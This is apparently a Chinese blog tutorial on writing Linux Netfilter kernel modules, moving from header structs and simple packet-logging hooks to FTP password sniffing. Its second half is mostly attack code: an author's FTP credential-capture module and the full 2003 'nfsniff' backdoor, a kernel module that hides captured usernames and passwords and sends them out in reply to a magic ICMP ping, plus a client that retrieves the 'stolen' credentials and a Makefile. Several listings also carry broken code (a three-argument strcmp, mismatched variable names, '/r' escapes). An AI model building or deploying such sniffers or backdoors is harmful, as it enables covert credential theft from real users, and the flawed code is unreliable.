前置知识:
struct ip {
#if BYTE_ORDER == LITTLE_ENDIAN
unsigned char ip_hl:4, /* header length */
ip_v:4; /* version */
#endif
unsigned char ip_tos; /* type of service */
short ip_len; /* total length */
unsigned short ip_id;/* identification */
short ip_off;
unsigned char ip_ttl;/* time to live */
unsigned char ip_p;/* protocol */
unsigned short ip_sum;
struct in_addr ip_src,ip_dst;/* source and dest address */
};
struct tcphdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
u_char th_x2:4, /* (unused) */
th_off:4; /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
u_char th_off:4, /* data offset */
th_x2:4; /* (unused) */
#endif
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_FLAGS (TH_FIN|TH_SYN|
TH_RST|TH_ACK|TH_URG)
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};
struct udphdr
{
u_short uh_sport; /* source port */
u_short uh_dport; /* destination port */
short uh_ulen; /* udp length */
u_short uh_sum;
/* udp checksum */
};
typedef struct _ETHERNET_FRAME
{
BYTE DestinationAddress[6];
BYTE SourceAddress[6];
WORD FrameType; // in host-order
} EHTERNET_FRAME, *PETHERNET_FRAME;
typedef struct _ARP_HEADER
{
WORD HardType; //硬件类型
WORD ProtocolType; //协议类型
BYTE HardLength; //硬件地址长度
BYTE ProtocolLength; //协议地址长度
WORD Opcode; //操作类型
BYTE SourceMAC[6];
BYTE SourceIP[4];
BYTE DestinationMAC[6];
BYTE DestinationIP[4];
} ARP_HEADER, *PARP_HEADER;
typedef struct _ARP
{
EHTERNET_FRAME EthernetFrame;
ARP_HEADER ArpHeader;
}ARP, *PARP;
基于linux内核的网络防火墙开发
Linux核心网络堆栈中有一个全局变量 :
struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],该变量是一个二维数组,其中第一维用于指定协议族,第二维用于指定hook的类型(即5个HOOK点 )。注册一个Netfilter hook实际就是在由协议族和hook类型确定的链表中添加一个新的节点。
在Linux防火墙开发中,有5个地方可以拦截
图很清楚的说明了在对应的位置能干什么
NF_INET_PRE_ROUTING 在完整性校验之后,选路确定之前
NF_INET_LOCAL_IN 在选路确定之后,且数据包的目的是本地主机
NF_INET_FORWARD 目的地是其它主机地数据包
NF_INET_LOCAL_OUT 来自本机进程的数据包在其离开本地主机的过程中
NF_IP_POST_ROUTING 在数据包离开本地主机“上线”之前
NF_INET_POST_ROUTING 同上
NF_DROP 丢弃该数据包
NF_ACCEPT 保留该数据包
NF_STOLEN 忘掉该数据包
NF_QUEUE 将该数据包插入到用户空间
NF_REPEAT 再次调用该hook函数
enum nf_ip_hook_priorities {
NF_IP_PRI_FIRST = INT_MIN,
NF_IP_PRI_CONNTRACK_DEFRAG = -400,
NF_IP_PRI_RAW = -300,
NF_IP_PRI_SELINUX_FIRST = -225,
NF_IP_PRI_CONNTRACK = -200,
NF_IP_PRI_MANGLE = -150,
NF_IP_PRI_NAT_DST = -100,
NF_IP_PRI_FILTER = 0,
NF_IP_PRI_SECURITY = 50,
NF_IP_PRI_NAT_SRC = 100,
NF_IP_PRI_SELINUX_LAST = 225,
NF_IP_PRI_CONNTRACK_CONFIRM = INT_MAX,
NF_IP_PRI_LAST = INT_MAX,
};
struct nf_hook_ops {
struct list_head list;
/* 此下的值由用户填充 */
nf_hookfn *hook//回调函数;
int pf;//协议 IPV4 还是ipV6
int hooknum;//hook点
/* Hook以升序的优先级排序 */
int priority;
};
struct nf_hook_ops nfho;
/* 填充我们的hook数据结构 */
nfho.hook = hook_func; /* 处理函数 */
nfho.hooknum = NF_INET_PRE_ROUTING;
/* 使用IPv4的第一个hook */
nfho.pf = PF_INET;
//优先级 /* 让我们的函数首先执行 */
nfho.priority = NF_IP_PRI_FIRST;
过滤函数:
unsigned int hook_func(
unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return NF_DROP; /* 丢弃所有的数据包 */
}
//初始化函数调用
nf_register_hook(&nfho);
//卸载函数中调用
nf_unregister_hook(&nfho);
#include
#include
#include
#include
static struct nf_hook_ops nfho;
static unsigned int hook_func(unsigned int hooknum,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return NF_ACCEPT;
}
static int nf_init(void)
{
nfho.hook = hook_func;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_hook(&nfho);
return 0;
}
static void nf_cleanup(void)
{
nf_unregister_hook(&nfho);
}
module_init(nf_init);
module_exit(nf_cleanup);
MODULE_AUTHOR("djwow");
MODULE_LICENSE("GPL");
#define NIPQUAD(addr) \
((unsigned char *)&addr)[0], \
((unsigned char *)&addr)[1], \
((unsigned char *)&addr)[2], \
((unsigned char *)&addr)[3]
#define NIPQUAD_FMT "%u.%u.%u.%u"
__be sip, dip;
struct iphdr *iph=ip_hdr(sb);
sip=iph->saddr;
dip=iph->daddr;
printk("sip:%u.%u.%u.%u,dip:%u.%u.%u.%u\m",
NIPQUAD(sip),NIPQUAD(dip));
struct iphdr *iph=ip_hdr(sb);
iph->protocol==IPPROTO_TCP
struct iphdr *iph=ip_hdr(sb);
struct tcphdr *tcph = NULL;
struct udphdr *udph = NULL;
unsigned short sport = 0;
unsigned short dport = 0;
if(iph->protocol==IPPROTO_TCP)
{
tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
sport=ntohs(tcph->source);
dport=ntohs(tcph->dest);
}
else if(iph->protocal==IPPROTO_UDP)
{
udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4));
sport=ntohs(udph->source);
dport=ntohs(udph->dest);
}
char *data = NULL;
struct tcphdr *tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));;
data = (char *)((int)tcph + (int)(tcph->doff * 4));
//打印IP:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define NIPQUAD(addr) \
((unsigned char *)&addr)[0], \
((unsigned char *)&addr)[1], \
((unsigned char *)&addr)[2], \
((unsigned char *)&addr)[3]
static unsigned int ipprint_func(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
__be32 sip,dip;
struct tcphdr *tcph = NULL;
struct udphdr *udph = NULL;
unsigned short sport = 0;
unsigned short dport = 0;
struct iphdr *iph;
if(skb)
{
struct sk_buff *sb = NULL;
sb = skb;
iph = ip_hdr(sb);
sip = iph->saddr;
dip = iph->daddr;
if(iph->protocol==IPPROTO_TCP)
{
tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
//tcph = tcp_hdr(sb);
sport=ntohs(tcph->source);
dport=ntohs(tcph->dest);
}
else if(iph->protocol==IPPROTO_UDP)
{
udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4));
//udph = udp_hdr(sb);
sport=ntohs(udph->source);
dport=ntohs(udph->dest);
}
printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);
}
return NF_DROP;
}
struct nf_hook_ops ipprint_ops = {
.list = {NULL,NULL},
.hook = ipprint_func,
.pf = PF_INET,
//.hooknum = NF_INET_PRE_ROUTING,
.hooknum = NF_INET_LOCAL_IN,
.priority = NF_IP_PRI_FILTER+2
};
static int __init ipprint_init(void) {
nf_register_hook(&ipprint_ops);
return 0;
}
static void __exit ipprint_exit(void) {
nf_unregister_hook(&ipprint_ops);
}
module_init(ipprint_init);
module_exit(ipprint_exit);
MODULE_AUTHOR("djwow");
MODULE_DESCRIPTION("ipprint");
MODULE_LICENSE("GPL");
获取FTP账号密码: 结合通信的话可以参考我的另一篇文章
《linux防火墙开发实例 获取FTP账号密码》
http://blog.csdn.net/zhuhuibeishadiao
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define NIPQUAD(addr) \
((unsigned char *)&addr)[0], \
((unsigned char *)&addr)[1], \
((unsigned char *)&addr)[2], \
((unsigned char *)&addr)[3]
static unsigned int ipprint_func(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
__be32 sip,dip;
struct tcphdr *tcph = NULL;
struct udphdr *udph = NULL;
unsigned short sport = 0;
unsigned short dport = 0;
struct iphdr *iph;
char *data = NULL;
char *UserName = NULL;
char *PassWord = NULL;
int i = 0;
int len = 0;
if(skb)
{
struct sk_buff *sb = NULL;
sb = skb;
iph = ip_hdr(sb);
sip = iph->saddr;
dip = iph->daddr;
if(iph->protocol != IPPROTO_TCP)
return NF_ACCEPT;
tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
//tcph = tcp_hdr(sb);
sport=ntohs(tcph->source);
dport=ntohs(tcph->dest);
if(dport != 21)
return NF_ACCEPT;
data = (char *)((int)tcph + (int)(tcph->doff * 4));
if(strcmp(data,"USER",5) == 0)
{
data += 5;
while (*(data + i) != '/r'
&& *(data + i) != '/n'
&& *(data + i) != '/0'
&& i < 15)
{
len++;
i++;
}
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return NF_ACCEPT;
memset(username, 0x00, len + 2);
memcpy(username, data, len);
*(username + len) = '/0';
} else if(strcmp(data,"PASS",5) == 0)
{
data += 5;
while (*(data + i) != '/r'
&& *(data + i) != '/n'
&& *(data + i) != '/0'
&& i < 15)
{
len++;
i++;
}
if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return NF_ACCEPT;
memset(PassWord,0x00,len+2);
memcpy(PassWord,data,len);
*(PassWord + len) = '/0';
} else
{
return NF_ACCEPT;
}
//printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);
if(UserName)
{
printk("UserName:%s\n",UserName);
kfree(UserName);
}
if(PassWord)
{
printk("PassWord:%s\n",PassWord);
kfree(PassWord);
}
}
return NF_ACCEPT;
}
struct nf_hook_ops ipprint_ops = {
.list = {NULL,NULL},
.hook = ipprint_func,
.pf = PF_INET,
.hooknum = NF_IP_POST_ROUTING,
//.hooknum = NF_INET_LOCAL_IN,
.priority = NF_IP_PRI_FILTER+2
};
static int __init ipprint_init(void) {
nf_register_hook(&ipprint_ops);
return 0;
}
static void __exit ipprint_exit(void) {
nf_unregister_hook(&ipprint_ops);
}
module_init(ipprint_init);
module_exit(ipprint_exit);
MODULE_AUTHOR("djwow");
MODULE_DESCRIPTION("ipprint");
MODULE_LICENSE("GPL");
老外的:
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */
/* Written by bioforge, March 2003 */
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36
#define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) /
- sizeof(struct iphdr) /
- sizeof(struct icmphdr))
/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* Marks if we already have a pair */
/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */
/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
int len = 0;
int i = 0;
tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
data = (char *)((int)tcp + (int)(tcp->doff * 4));
/* Now, if we have a username already, then we have a target_ip.
* Make sure that this packet is destined for the same host. */
if (username)
if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
return;
/* Now try to see if this is a USER or PASS packet */
if (strncmp(data, "USER ", 5) == 0) { /* Username */
data += 5;
if (username) return;
while (*(data + i) != '/r' && *(data + i) != '/n'
&& *(data + i) != '/0' && i < 15) {
len++;
i++;
}
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
memcpy(username, data, len);
*(username + len) = '/0'; /* NULL terminate */
} else if (strncmp(data, "PASS ", 5) == 0) { /* Password */
data += 5;
/* If a username hasn't been logged yet then don't try logging
* a password */
if (username == NULL) return;
if (password) return;
while (*(data + i) != '/r' && *(data + i) != '/n'
&& *(data + i) != '/0' && i < 15) {
len++;
i++;
}
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
memcpy(password, data, len);
*(password + len) = '/0'; /* NULL terminate */
} else if (strncmp(data, "QUIT", 4) == 0) {
/* Quit command received. If we have a username but no password,
* clear the username and reset everything */
if (have_pair) return;
if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;
return;
}
} else {
return;
}
if (!target_ip)
target_ip = skb->nh.iph->daddr;
if (!target_port)
target_port = tcp->source;
if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
// if (have_pair)
// printk("Have password pair! U: %s P: %s/n", username, password);
}
/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct tcphdr *tcp;
/* Make sure this is a TCP packet first */
if (sb->nh.iph->protocol != IPPROTO_TCP)
return NF_ACCEPT; /* Nope, not TCP */
tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
/* Now check to see if it's an FTP packet */
if (tcp->dest != htons(21))
return NF_ACCEPT; /* Nope, not FTP */
/* Parse the FTP packet for relevant information if we don't already
* have a username and password pair. */
if (!have_pair)
check_ftp(sb);
/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}
/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */
/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;
/* Is this an ICMP packet? */
if (sb->nh.iph->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}
/* Okay, matches our checks for "Magicness", now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew... */
taddr = sb->nh.iph->saddr;
sb->nh.iph->saddr = sb->nh.iph->daddr;
sb->nh.iph->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) {
case ARPHRD_PPP: /* No fiddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN];
/* Move the data pointer to point to the link layer header */
sb->data = (unsigned char *)sb->mac.ethernet;
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
ETH_ALEN);
memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);
/* This is where things will die if they are going to.
* Fingers crossed... */
dev_queue_xmit(sb);
/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
target_port = target_ip = 0;
// printk("Password retrieved/n");
return NF_STOLEN;
}
int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_IP_PRE_ROUTING;
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_IP_POST_ROUTING;
nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);
return 0;
}
void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);
if (password)
kfree(password);
if (username)
kfree(username);
}
module_init(init_module);
module_exit(cleanup_module);
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge - March 2003 */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include
#include
/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;
if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIP/n", argv[0]);
exit(1);
}
/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s/n",
strerror(errno));
exit(1);
}
/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s/n",
strerror(errno));
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
my_addr.s_addr = inet_addr(argv[2]);
memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);
/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;
/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
/* Finally, send the packet */
fprintf(stdout, "Sending request.../n");
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "/nFailed sending request! %s/n",
strerror(errno));
return 0;
}
fprintf(stdout, "Waiting for reply.../n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %s/n",
strerror(errno));
close(icmp_sock);
exit(1);
}
iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),
sizeof (struct in_addr));
fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %s/n",
(char *)((char *)icmphead + 12));
fprintf(stdout, "Password: %s/n",
(char *)((char *)icmphead + 28));
close(icmp_sock);
return 0;
}
/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;
for(sum = 0;numwords > 0;numwords--)
sum += *buff++; /* add next word, then increment pointer */
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return ~sum;
}
#Makefile
#
CFLAGS=-Wall
LIBS=-L/usr/lib -lc
# Change include directory for your kernel
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include
MODULE_CFLAGS+=$(CFLAGS)
EXECUTE_CFLAGS=-ggdb
EXECUTE_CFLAGS+=$(CFLAGS)
all : nfsniff.o getpass
nfsniff.o : nfsniff.c
gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
ld -r -o nfsniff.o nfsniff~.o $(LIBS)
getpass.o : getpass.c
gcc -c getpass.c $(EXECUTE_CFLAGS)
getpass : getpass.o
gcc -o getpass getpass.o $(EXECUTE_CFLAGS)
clean :
rm -f *.o getpass
参考: